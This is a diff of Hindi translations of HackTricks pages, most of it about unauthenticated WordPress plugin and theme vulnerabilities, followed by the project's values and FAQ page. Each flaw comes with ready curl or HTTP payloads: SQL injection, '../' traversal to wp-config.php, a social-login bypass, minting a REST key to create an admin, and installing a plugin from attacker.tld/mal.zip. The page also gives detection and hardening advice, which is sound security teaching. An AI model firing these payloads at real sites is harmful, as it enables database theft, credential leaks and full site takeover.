The WP Job Portal recruitment plugin ने एक **savecategory** टास्क उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित vulnerable code को execute करता है:
|
||||
WP Job Portal recruitment plugin ने एक **savecategory** टास्क उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित असुरक्षित कोड को निष्पादित करता है:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -658,15 +607,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
इस snippet से उत्पन्न मुद्दे:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` सीधा HTTP request से आता है।
|
||||
2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं है।
|
||||
3. **Unauthenticated reachability** – भले ही action `admin-post.php` के माध्यम से execute होता है, यहाँ सिर्फ़ एक चेक है: **CSRF nonce** (`wp_verify_nonce()`), जिसे कोई भी विज़िटर उस public पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` embed करता है।
|
||||
1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है।
|
||||
2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं।
|
||||
3. **Unauthenticated reachability** – हालांकि action `admin-post.php` के माध्यम से execute होता है, पर मौजूद唯一 जाँच एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी विज़िटर public पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` एम्बेड करता है।
|
||||
|
||||
#### शोषण
|
||||
#### Exploitation
|
||||
|
||||
1. एक नया nonce प्राप्त करें:
|
||||
1. एक ताज़ा nonce प्राप्त करें:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
@ -678,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
रिस्पॉन्स injected query का परिणाम प्रकट करता है या database को बदल देता है, जिससे SQLi साबित होता है।
|
||||
Response इंजेक्ट किए गए क्वेरी का परिणाम उजागर करता है या डेटाबेस बदल देता है, जिससे SQLi प्रमाणित होता है।
|
||||
|
||||
|
||||
### अनप्रमाणित Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक और task, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए **disk पर मौजूद किसी भी file** को डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
एक अन्य टास्क, **downloadcustomfile**, विज़िटर को path traversal के माध्यम से डिस्क से **किसी भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink स्थित है `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` अटैकर-नियंत्रित है और बिना **sanitisation** के जोड़ दिया जाता है। फिर से, एकमात्र बाधा एक **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है।
|
||||
`$file_name` हमलावर द्वारा नियंत्रित है और **सैनिटाइज़ेशन के बिना** संयोजित किया जाता है। फिर से, एकमात्र बाधा **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है।
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -700,7 +649,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials और auth keys।
|
||||
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## अप्रमाणीकरण किए बिना account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
कई themes/plugins "social login" helpers ship करते हैं जो admin-ajax.php के माध्यम से एक्सपोज़ होते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers पर भरोसा करता है जब provider data अनुपस्थित हो और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है।
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
यह शोषणीय क्यों है
|
||||
|
||||
- admin-ajax.php के माध्यम से unauthenticated पहुँच (wp_ajax_nopriv_… action)।
|
||||
- state change से पहले कोई nonce/capability चेक नहीं है।
|
||||
- OAuth/OpenID provider सत्यापन अनुपस्थित है; default branch attacker इनपुट स्वीकार कर लेता है।
|
||||
- get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) कॉल करने से requester को किसी भी मौजूद email address के रूप में प्रमाणित कर देता है।
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी वैध उपयोगकर्ता ईमेल को जानता/अनुमान लगा सकता है।
|
||||
- provider को एक unsupported value पर सेट करें (या इसे छोड़ दें) ताकि default branch पर जाएँ और id=<victim_email> पास करें।
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Finding the action name
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
|
||||
- क्लाइंट इनपुट से पहचान न निकालें। केवल validated provider token/ID से उत्पन्न emails/IDs स्वीकार करें।
|
||||
- Require CSRF nonces और capability checks लगाएँ भले ही वे login helpers हों; wp_ajax_nopriv_ को केवल तभी रजिस्टर करें जब बिल्कुल ज़रूरी हो।
|
||||
- OAuth/OIDC responses को server-side validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback न करें)।
|
||||
- तब तक social login अस्थायी रूप से disable करने या edge पर virtual patching (vulnerable action को block करना) पर विचार करें जब तक fix न हो जाए।
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
कुछ plugins ऐसे REST endpoints एक्सपोज़ करते हैं जो caller की capabilities की जांच किए बिना reusable “connection keys” या tokens मिंट कर देते हैं। अगर route केवल किसी guessable attribute (जैसे username) पर authenticate करता है और key को user/session के साथ capability checks के साथ bind नहीं करता, तो कोई भी unauthenticated attacker एक key मिंट कर सकता है और privileged actions (admin account creation, plugin actions → RCE) को invoke कर सकता है।
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
क्यों यह शोषण योग्य है
|
||||
- संवेदनशील REST route केवल कम-एंट्रॉपी पहचान प्रमाण (username) पर निर्भर है या permission_callback गायब है
|
||||
- कोई capability enforcement नहीं; minted key को सार्वभौमिक bypass के रूप में स्वीकार कर लिया जाता है
|
||||
|
||||
पता लगाने की चेकलिस्ट
|
||||
- plugin कोड में register_rest_route(..., [ 'permission_callback' => '__return_true' ]) के लिए grep करें
|
||||
- कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है, बिना किसी authenticated user या capability से जोड़े
|
||||
- उन subsequent routes को देखें जो server-side capability checks के बिना minted token/key को स्वीकार करते हैं
|
||||
|
||||
हार्डनिंग
|
||||
- किसी भी privileged REST route के लिए: एक permission_callback आवश्यक रखें जो required capability के लिए current_user_can() को लागू करे
|
||||
- client-supplied identity से long-lived keys mint न करें; यदि आवश्यक हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें
|
||||
- कॉलर के user context को validate करें (wp_set_current_user अकेले पर्याप्त नहीं है) और उन requests को reject करें जहाँ !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate के गलत उपयोग → बिना प्रमाणीकरण के मनमाना plugin इंस्टॉलेशन (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces CSRF को रोकते हैं, authorization नहीं। अगर कोड nonce पास को green light मानकर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो बिना प्रमाणीकरण वाले attackers एक कमजोर nonce शर्त पूरी कर के backdoored या vulnerable plugin इंस्टॉल करके RCE हासिल कर सकते हैं।
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; nonce “passes” होने पर current_user_can('install_plugins'|'activate_plugins') लागू नहीं होता
|
||||
- Impact: arbitrary plugin install/activation के माध्यम से पूर्ण समझौता
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
पता लगाने की चेकलिस्ट
|
||||
- REST/AJAX हैंडलर जो plugins/themes को केवल wp_verify_nonce()/check_admin_referer() के साथ संशोधित करते हैं और capability check नहीं करते
|
||||
- कोई भी कोड पाथ जो nonce validation के बाद $skip_caps = true सेट करता है
|
||||
|
||||
हार्डनिंग
|
||||
- Nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति के बावजूद capability checks लागू करें
|
||||
- installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') आवश्यक करें
|
||||
- अप्रमाणीकृत पहुँच को अस्वीकार करें; privileged flows के लिए nopriv AJAX actions को एक्सपोज़ करने से बचें
|
||||
|
||||
---
|
||||
|
||||
## अप्रमाणीकृत SQLi depicter-* actions में s (search) parameter के माध्यम से (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
कई depicter-* actions ने s (search) parameter को लिया और उसे parameterization के बिना SQL queries में concatenated किया।
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: WHERE/LIKE clauses में सीधे string concatenation; कोई prepared statements/sanitization नहीं
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
डिटेक्शन चेकलिस्ट
|
||||
- depicter-* action handlers के लिए Grep करें और SQL में $_GET['s'] या $_POST['s'] का सीधे उपयोग देखें
|
||||
- $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज़ की समीक्षा करें जो s को जोड़ती हैं
|
||||
|
||||
हार्डनिंग
|
||||
- हमेशा $wpdb->prepare() या wpdb placeholders का उपयोग करें; सर्वर-साइड पर अनपेक्षित metacharacters को अस्वीकार करें
|
||||
- s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length के अनुसार सामान्यीकृत करें
|
||||
|
||||
---
|
||||
|
||||
## बिना प्रमाणिकरण Local File Inclusion के माध्यम से अमान्यीकृत template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Normalization/containment के बिना template पैरामीटर में attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभी code execution भी हो सकता है अगर includable PHP/log files runtime में शामिल कर दिए जाएँ।
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- कमज़ोरी: कोई normalization/allowlisting नहीं; traversal की अनुमति है
|
||||
- प्रभाव: गुप्त जानकारी का खुलासा (wp-config.php), विशिष्ट वातावरणों में संभावित RCE (log poisoning, includable PHP)
|
||||
|
||||
PoC – wp-config.php पढ़ें
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
पता लगाने की चेकलिस्ट
|
||||
- कोई भी handler जो अनुरोध पाथ्स को include()/require()/read sinks में जोड़ता है बिना realpath() containment के
|
||||
- traversal patterns (../) की तलाश करें जो intended templates directory के बाहर पहुँच रहे हों
|
||||
|
||||
कठोरकरण
|
||||
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- इनपुट को Normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() का उपयोग केवल filenames के लिए करें (not full paths)
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@ -713,5 +853,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,21 +1,21 @@
|
||||
# HackTricks के मूल्य और FAQ
|
||||
# HackTricks मान्यताएँ और FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricks के मूल्य
|
||||
## HackTricks मान्यताएँ
|
||||
|
||||
> [!TIP]
|
||||
> ये HackTricks प्रोजेक्ट के **मूल्य** हैं:
|
||||
> ये HackTricks प्रोजेक्ट की **मान्यताएँ** हैं:
|
||||
>
|
||||
> - पूरे इंटरनेट को **FREE** **EDUCATIONAL hacking** संसाधनों तक उपलब्ध कराना।
|
||||
> - Hacking सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ़्त होना चाहिए।
|
||||
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में सेवा करना है।
|
||||
> - समुदाय द्वारा प्रकाशित बढ़िया **hacking** तकनीकों को संग्रहीत करना और **ORIGINAL AUTHORS** को पूरा **क्रेडिट** देना।
|
||||
> - **हम दूसरों का क्रेडिट नहीं चाहते**, हम बस सभी के लिए बढ़िया ट्रिक्स सहेजना चाहते हैं।
|
||||
> - हम HackTricks में अपने **खुद के रिसर्च** भी लिखते हैं।
|
||||
> - कई मामलों में हम सिर्फ़ तकनीक के महत्वपूर्ण हिस्सों का **सारांश HackTricks में लिखेंगे** और पाठक को और विवरण के लिए **original post** पर जाने के लिए प्रोत्साहित करेंगे।
|
||||
> - किताब में सभी **hacking** तकनीकों को **व्यवस्थित** करना ताकि यह **अधिक सुलभ** हो।
|
||||
> - HackTricks टीम ने कंटेंट को सिर्फ़ व्यवस्थित करने के लिए हज़ारों घंटे निःशुल्क समर्पित किए हैं ताकि लोग **तेज़ी से सीख सकें**
|
||||
> - इंटरनेट पर **सभी** को **मुफ्त** **शैक्षिक hacking** संसाधनों तक पहुँच देना।
|
||||
> - Hacking सीखना है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
|
||||
> - इस किताब का उद्देश्य व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
|
||||
> - शानदार **hacking** तकनीकों को समुदाय द्वारा प्रकाशित होने पर संग्रहित करना और **मौलिक** **लेखकों** को सारा **श्रेय** देना।
|
||||
> - **हम दूसरों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए बेहतरीन ट्रिक्स संग्रहीत करना चाहते हैं।
|
||||
> - हम HackTricks में **अपनी रिसर्च** भी लिखते हैं।
|
||||
> - कई मामलों में हम सिर्फ तकनीक के महत्वपूर्ण हिस्सों का **HackTricks में सारांश** लिखेंगे और अधिक विवरण के लिए **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करना**।
|
||||
> - किताब में मौजूद सभी **hacking** तकनीकों को **संगठित** करना ताकि यह **अधिक सुलभ** हो।
|
||||
> - HackTricks टीम ने सामग्री को व्यवस्थित करने के लिए मुफ्त में केवल हजारों घंटे **संगठन** के लिए समर्पित किए हैं ताकि लोग **तेज़ी से सीख** सकें।
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,35 +23,35 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **इन संसाधनों के लिए बहुत-बहुत धन्यवाद, मैं आपका धन्यवाद कैसे कर सकता/सकती हूँ?**
|
||||
> - **इन संसाधनों के लिए बहुत धन्यवाद — मैं कैसे धन्यवाद कर सकता/सकती हूँ?**
|
||||
|
||||
आप सार्वजनिक रूप से HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से इकट्ठा करने के लिए ट्विटर पर [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख कर धन्यवाद दे सकते हैं।\
|
||||
यदि आप विशेष रूप से आभारी हैं तो आप [**sponsor the project here**](https://github.com/sponsors/carlospolop) भी कर सकते हैं।\
|
||||
और Github प्रोजेक्ट्स पर **स्टार देना न भूलें!** (नीचे लिंक देंखे).
|
||||
आप सार्वजनिक रूप से HackTricks टीम का धन्यवाद कर सकते हैं जिन्होंने इन सभी संसाधनों को एक साथ रखा — एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके.\
|
||||
यदि आप विशेष रूप से कृतज्ञ हैं तो आप भी [**sponsor the project here**](https://github.com/sponsors/carlospolop) कर सकते हैं.\
|
||||
और Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!** (नीचे लिंक मिलेंगे).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **मैं प्रोजेक्ट में कैसे योगदान कर सकता/सकती हूँ?**
|
||||
> - **मैं प्रोजेक्ट में कैसे योगदान दे सकता/दे सकती हूँ?**
|
||||
|
||||
आप समुदाय के साथ नए टिप्स और ट्रिक्स साझा कर सकते/सकती हैं या किताबों में मिले बग्स ठीक कर सकते/सकती हैं, इसके लिए संबंधित Github पृष्ठों पर एक **Pull Request** भेजें:
|
||||
आप समुदाय के साथ **नए टिप्स और ट्रिक्स साझा कर सकते हैं या किताबों में पाए गए बग ठीक कर सकते हैं** और संबंधित Github पृष्ठों पर **Pull Request** भेजकर योगदान दे सकते हैं:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Github प्रोजेक्ट्स पर **स्टार देना न भूलें!**
|
||||
Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **क्या मैं HackTricks से कुछ सामग्री कॉपी करके अपने ब्लॉग पर रख सकता/सकती हूँ?**
|
||||
> - **क्या मैं HackTricks से कुछ सामग्री कॉपी करके अपने ब्लॉग में डाल सकता/सकती हूँ?**
|
||||
|
||||
हाँ, आप रख सकते/सकती हैं, लेकिन **जहाँ से सामग्री ली गई है उन विशिष्ट लिंक(स) का उल्लेख करना न भूलें।**
|
||||
हाँ, कर सकते हैं, लेकिन **उन विशिष्ट लिंक(ओं) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी।
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks के किसी पेज का संदर्भ कैसे दूँ?**
|
||||
> - **मैं HackTricks के किसी पेज का संदर्भ कैसे दूँ?**
|
||||
|
||||
जब तक आप उस पेज(ओं) का लिंक जहाँ से आपने जानकारी ली है दिखा देते हैं, वह पर्याप्त है।\
|
||||
यदि आपको bibtex चाहिए तो आप कुछ इस तरह इस्तेमाल कर सकते हैं:
|
||||
जब तक उस पेज(ओं) **का** लिंक जहाँ से आपने जानकारी ली है दिखाई देता है, यह पर्याप्त है.\
|
||||
यदि आपको bibtex चाहिए तो आप कुछ इस तरह का उपयोग कर सकते हैं:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **क्या मैं अपने ब्लॉग में सभी HackTricks कॉपी कर सकता हूँ?**
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**मैं ऐसा करना पसंद नहीं करूँगा।** यह **किसी के लिए भी फायदेमंद नहीं होगा** क्योंकि आधिकारिक HackTricks पुस्तकों की सारी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध** है और वह मुफ्त है।
|
||||
**मैं इसे पसंद नहीं करूँगा।** यह किसी के भी हित में नहीं है क्योंकि सारा **content पहले से ही आधिकारिक HackTricks किताबों में मुफ्त उपलब्ध है**।
|
||||
|
||||
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें — जैसा कि मैंने कहा, यह पहले से ही मुफ्त है।
|
||||
अगर आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें — जैसा मैंने कहा, यह पहले से ही मुफ्त है।
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **आपके पास sponsors क्यों हैं? क्या HackTricks किताबें वाणिज्यिक उद्देश्यों के लिए हैं?**
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
पहला **HackTricks** **मूल्य** दुनिया भर के **सभी** लोगों को **मुफ्त** hacking शैक्षिक संसाधन प्रदान करना है। HackTricks टीम ने ये सामग्री प्रदान करने के लिए **हजारों घंटे समर्पित** किए हैं, फिर से, **मुफ्त**।
|
||||
पहला **HackTricks** **value** यह है कि दुनिया भर के लिए **FREE** hacking educational resources पेश करना। HackTricks टीम ने इस सामग्री को मुफ्त में उपलब्ध कराने के लिए **हज़ारों घंटे समर्पित किए हैं**।
|
||||
|
||||
यदि आप सोचते हैं कि HackTricks किताबें **वाणिज्यिक उद्देश्यों** के लिए बनाई गई हैं तो आप **पूरी तरह गलत** हैं।
|
||||
अगर आप सोचते हैं कि HackTricks किताबें **commercial purposes** के लिए बनाई गई हैं तो आप **COMPLETELY WRONG** हैं।
|
||||
|
||||
हमारे पास प्रायोजक इसलिए हैं क्योंकि, भले ही सारी सामग्री मुफ़्त हो, हम समुदाय को हमारी मेहनत की सराहना करने का विकल्प देना चाहते हैं यदि वे चाहें। इसलिए, हम लोगों को HackTricks को दान करने का विकल्प देते हैं via [**Github sponsors**](https://github.com/sponsors/carlospolop), और **प्रासंगिक cybersecurity कंपनियाँ** HackTricks का समर्थन कर सकती हैं और किताब में कुछ ads होने देते हैं, जहाँ ads को ऐसे स्थानों पर रखा जाता है जो उन्हें **दिखने लायक** बनाते हैं पर **सीखने की प्रक्रिया में बाधा नहीं डालते** जब कोई सामग्री पर ध्यान केंद्रित करता है।
|
||||
हमारे पास sponsors इसलिए हैं क्योंकि, भले ही सारी सामग्री FREE हो, हम community को **हमारे काम की प्रशंसा करने का विकल्प** देना चाहते हैं अगर वे चाहें। इसलिए, हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के जरिए दान करने का विकल्प देते हैं, और **relevant cybersecurity companies** HackTricks को sponsor कर सकती हैं और किताब में कुछ ads रख सकती हैं — ये **ads** हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखते हों** पर सीखने की प्रक्रिया को **व्यवधान न पहुँचाएँ**।
|
||||
|
||||
आप HackTricks को ऐसे परेशान करने वाले ads से भरा हुआ नहीं पाएँगे जैसे कई अन्य ब्लॉग होते हैं जिनमें HackTricks की तुलना में बहुत कम सामग्री होती है, क्योंकि HackTricks वाणिज्यिक उद्देश्यों के लिए नहीं बनाई गई है।
|
||||
आप HackTricks में उतने परेशान करने वाले ads नहीं पाएँगे जितने कुछ कम सामग्री वाले ब्लॉग्स में होते हैं, क्योंकि HackTricks को commercial उद्देश्यों के लिए नहीं बनाया गया है।
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **यदि किसी HackTricks पेज का आधार मेरा ब्लॉग पोस्ट है पर उसे संदर्भित नहीं किया गया है तो मुझे क्या करना चाहिए?**
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
हमें बहुत खेद है। यह नहीं होना चाहिए था। कृपया हमें Github issues, Twitter, Discord... के माध्यम से बताइए — उस HackTricks पेज का लिंक जिसमें उस सामग्री का उपयोग हुआ है और आपके ब्लॉग का लिंक — **हम इसकी जाँच करेंगे और उसे जल्द से जल्द जोड़ देंगे**।
|
||||
